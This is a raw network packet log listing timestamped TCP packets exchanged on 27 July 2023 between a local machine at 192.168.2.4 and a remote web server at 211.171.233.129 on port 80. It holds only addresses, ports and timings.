Jul 27, 2023 18:26:43.135034084 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135104895 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135155916 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135205984 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135210991 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135260105 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135261059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135309935 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135355949 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135358095 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135417938 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135463953 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135464907 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135514021 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135561943 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135562897 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135610104 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135657072 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135662079 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135720015 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135777950 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135778904 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135827065 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135874987 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135876894 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.135922909 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135970116 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135991096 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.136020899 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136069059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136076927 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.136133909 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136189938 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.136202097 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136251926 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136301994 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.136344910 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136395931 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136442900 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136449099 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.136491060 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136538982 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.136539936 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.182085991 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.389247894 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389314890 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389362097 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389408112 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389415979 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.389456987 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389489889 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.389504910 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389554024 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389595032 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.389599085 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389647961 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389668941 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.389693975 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389753103 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389786959 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389820099 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389864922 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389911890 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389955997 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.389960051 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.389960051 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390019894 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390022993 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390203953 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390263081 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390268087 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390315056 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390362978 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390378952 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390408993 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390456915 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390463114 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390503883 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390549898 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390558958 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390598059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390642881 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390651941 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390691042 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390738010 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390748024 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390784025 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390830040 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390836954 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.390911102 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390959978 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.390965939 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391006947 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391055107 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391062021 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391109943 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391155958 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391196966 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391232014 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391278028 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391294003 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391325951 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391374111 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391386986 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391423941 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391477108 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391501904 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391547918 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391596079 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391601086 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391643047 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391689062 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391696930 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.391735077 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391782045 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.391797066 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.432121038 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.435141087 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.483596087 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.644589901 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644663095 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644709110 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644756079 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644778967 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.644802094 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644845963 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.644853115 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644902945 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644941092 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.644949913 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.644998074 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645019054 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645051003 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645097017 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645126104 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645143032 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645189047 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645215034 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645235062 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645282984 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645299911 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645329952 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645376921 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645399094 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645423889 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645469904 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645515919 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645519972 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645561934 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645590067 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645608902 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645657063 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645699978 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645701885 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645749092 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645771980 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645797014 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645842075 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645864964 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645889044 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645935059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.645956039 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.645982027 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646034002 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646058083 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646081924 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646126032 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646143913 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646172047 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646217108 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646260977 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646265030 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646306038 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646330118 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646352053 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646397114 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646408081 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646440983 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646486044 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646506071 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646531105 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646575928 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646589041 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646620989 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646665096 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646687984 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646709919 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646754980 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646770000 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.646802902 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.646858931 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.685148001 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.729023933 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.736450911 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.791517973 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.899467945 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899538994 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899588108 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899633884 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899666071 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.899691105 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899741888 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899744034 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.899799109 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899822950 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.899847031 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899890900 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899935007 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899979115 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.899982929 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900019884 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900027990 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900079012 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900126934 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900172949 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900187016 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900219917 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900290966 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900362968 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900412083 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900434017 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900460005 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900509119 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900521040 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900557041 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900604963 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900651932 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900677919 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900702000 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900718927 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900749922 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900796890 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900844097 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900892019 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900908947 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900939941 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.900954962 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.900988102 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901026964 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901036024 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901087046 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901134968 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901180029 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901199102 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901228905 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901276112 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901314974 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901323080 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901382923 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901388884 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901437998 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901484966 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901524067 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901532888 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901580095 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901624918 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901671886 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901706934 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901719093 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901757956 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901767015 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901812077 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.901813984 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.901873112 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.982152939 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.982251883 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.982394934 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.044405937 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.044482946 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.044641018 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.154589891 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.154666901 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.154716015 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.154763937 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.154810905 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.154859066 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.154880047 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.154906988 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.154957056 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155004978 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155019999 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155051947 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155091047 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155102015 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155143976 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155149937 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155196905 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155225039 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155245066 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155292034 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155338049 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155359030 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155385971 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155433893 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155437946 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155481100 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155508041 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155529022 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155575991 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155623913 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155639887 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155672073 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155709982 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155718088 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155766010 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155812979 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155817032 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155859947 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155900002 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.155908108 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.155956030 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156002998 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156004906 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156050920 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156085014 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156100035 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156148911 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156194925 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156241894 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156277895 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156346083 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156393051 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156436920 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156483889 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156514883 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156533003 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156578064 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156593084 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156625032 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156671047 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156701088 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156717062 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156764030 CEST	80	49691	211.171.233.129	192.168.2.4
